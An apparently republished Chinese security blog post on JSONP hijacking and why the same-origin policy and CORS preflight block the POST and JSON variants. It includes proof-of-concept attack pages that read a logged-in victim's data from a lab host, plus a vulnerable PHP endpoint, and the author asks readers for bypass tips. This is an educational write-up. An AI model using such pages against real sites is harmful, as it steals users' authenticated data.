当jsonp劫持遇到POST三两事

Posted iDersec

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了当jsonp劫持遇到POST三两事相关的知识,希望对你有一定的参考价值。

About JSONP


JSONP全称是JSON with Padding,是基于JSON格式的为解决跨域请求资源而产生的解决方案。它的基本原理是利用html的元素标签,远程调用JSON文件来实现数据传递。由于同源策略,一般来说位于 server1.example.com 的网页无法与不是 server1.example.com的服务器沟通,而 HTML 的<script> 元素是一个例外。利用 <script> 元素的这个开放策略,网页可以得到从其他来源动态产生的 JSON 资料,而这种使用模式就是所谓的 JSONP。

参考资料:

https://en.wikipedia.org/wiki/JSONP

http://justcoding.iteye.com/blog/1366102/ 

About JSONP劫持


但是jsonp虽然可在其它的域下来请求数据。但是也不能设置成任意域下均可访问,否则就可能造成传递的数据被劫持。JSON劫持又称“JSON Hijacking”,这个问题属于CSRF(Cross-site request forgery跨站请求伪造)攻击范畴,当某网站通过JSONP的方式跨域(一般为子域)传递用户认证后的敏感信息时,攻击者可以构造恶意的JSONP调用页面,诱导被攻击者访问,以达到截取用户敏感信息的目的。一个例子:

<script ></script>

<script>

function hacker(data){

alert(data["username"]);

}

    $.ajax({

        'url': 'http://10.0.0.11/jsonp/jsonp.php',

        'type':'GET',

        'dataType':'JSONP',

data:'callback=hacker',

        'success':function(hacker){},

    });

</script>


其实可简写,但是为了调试后期POST,所以用的ajax请求。简写为:

 

script type="text/javascript">  

    function callback(result) {  

        alert(result.username);  

    }  

</script>  

<script type="text/javascript" ></script> 


构造代码,当登录了网站的浏览器访问这个页面后,就可任意劫持到信息:


服务器端代码:

<?php

if(isset($_GET['callback']))

{

        header("Content-type: application/json");

        echo $_GET['callback']."({\"username\":\"admin\"})";exit;

}

?>



参考资料:

http://blog.knownsec.com/2015/03/jsonp_security_technic/

https://dev.socrata.com/docs/cors-and-jsonp.html 


当jsonp 遇到POST


 服务端代码改为:

 

<?php

if(isset($_POST['callback']))

{

        header("Content-type: application/json");

        echo $_POST['callback']."({\"username\":\"admin\"})";exit;

}

?>



把上文Poc中的type改为POST发现也没返回数据,抓包查看请求:


当jsonp劫持遇到POST三两事

 发现还是以GET方式发送了请求,$.ajax对jsonp进行了封装看起来像是ajax请求。由于jsonp是针对get请求的跨域解决,即使type设置了post,在jsonp的时候,也会自动转换成get,只有去手动设置crossDomain为true,或者实际上是跨域,才能修改type。

假设把Poc中的'dataType':'JSONP',删去,抓包发现,POST请求就发出去了在响应里也能看到返回的数据,但是的但是,被浏览器的同源策略拦截了:


当jsonp劫持遇到POST三两事

 分析发现:

jsonp在设计时候本来就是这样设计的,只能通过GET获取数据,不能通过POST获取,浏览器同源策略写到:浏览器有一种同源策略(Same origin policy),同源是指域名、协议、端口相同,当浏览器执行一个脚本(例如 JavaScript)的时候会检查这个脚本是否同源,否则不会执行该脚本,因为浏览器认为来自同站点的资源是安全的。在浏览器中,<script>、<img>、<iframe>、<link> 等标签都可以加载跨域资源,而不受同源限制,但浏览器限制了JavaScript 的权限使其不能读、写加载的内容。而<script>、<img>、<iframe>、<link> 这些标签的加载本来就是GET方式的请求,不会存在POST的存在,所以在设计时候就限制了,只能GET请求。

参考资料:

https://en.wikipedia.org/wiki/JSONP

http://www.jb51.net/article/46463.htm


当POST遇到json


当时遇到的问题比这个还复杂点,是POST请求,而且请求为发送的是json,构造HTML表单默认content-type为application/x-www-form-urlencoded,后台默认的接受到的是一个字符串string。想到一个办法,自定义headers可修改content-type,代码为:

 

<script ></script>

<script>

datas = '{"username":0,"uid":1}';

function hacker(data){

alert(data["username"]);

}

    $.ajax({

        'url': 'http://10.0.0.11/jsonp/jsonp.php',

        'type':'POST',

data:datas,

headers:{

'Accept':'application/json',

'Content-Type': 'application/json',

},

        'success':function(hacker){},

    });

</script>

首先去除了第13行。请求:

当jsonp劫持遇到POST三两事

 抓包发现正常请求了,但是Content-Type为application/x-www-form-urlencoded。加上13行后请求,抓包却发现:


 请求变成了option,原来同源策略还做了一个限制,在json通过POST方式传递时候会做一个判断:是否满足同源策略要求,如果不满足,就会去服务器做一个请求,是否满允许足跨域资源共享(CORS),加上当前的域和请求方式,发送一个OPTION请求做判断。若满足则继续发送,若不满足则不会发送,用这样的策略来保证数据安全性。所以就会造成请求不成功!

参考资料:

http://www.ruanyifeng.com/blog/2016/04/cors.html

https://www.w3.org/TR/cors/ 



写在最后


写这篇文章并没有多少技术创新性,知识点许多大牛可能都很熟悉了,但是我之前对jsonp劫持的漏洞原理和造成原因及利用防护等不是特别的清楚,特别是同源策略对安全来说是相当重要的一部分,但是一直没时间细心去研究,说来叶巧最近遇到的几个问题都是最后卡在了同源策略上了,目前对我来说还是绕不过,(如果绕过去了就是一个CVE了,期待有一天突发奇想就绕过去了吧,大家有啥绕过经验也可以给我分享分享),研究了做个笔记,防止以后忘记!


   By:iDer



以上是关于当jsonp劫持遇到POST三两事的主要内容,如果未能解决你的问题,请参考以下文章

关于字体图标的三两事

理解jsonp劫持漏洞

nodejs之mock与跨域代理的三两事

C++:MEMSET的大坑三两事

Jsonp&Cors跨域(同源策略跨域劫持漏洞)

Java测试三两事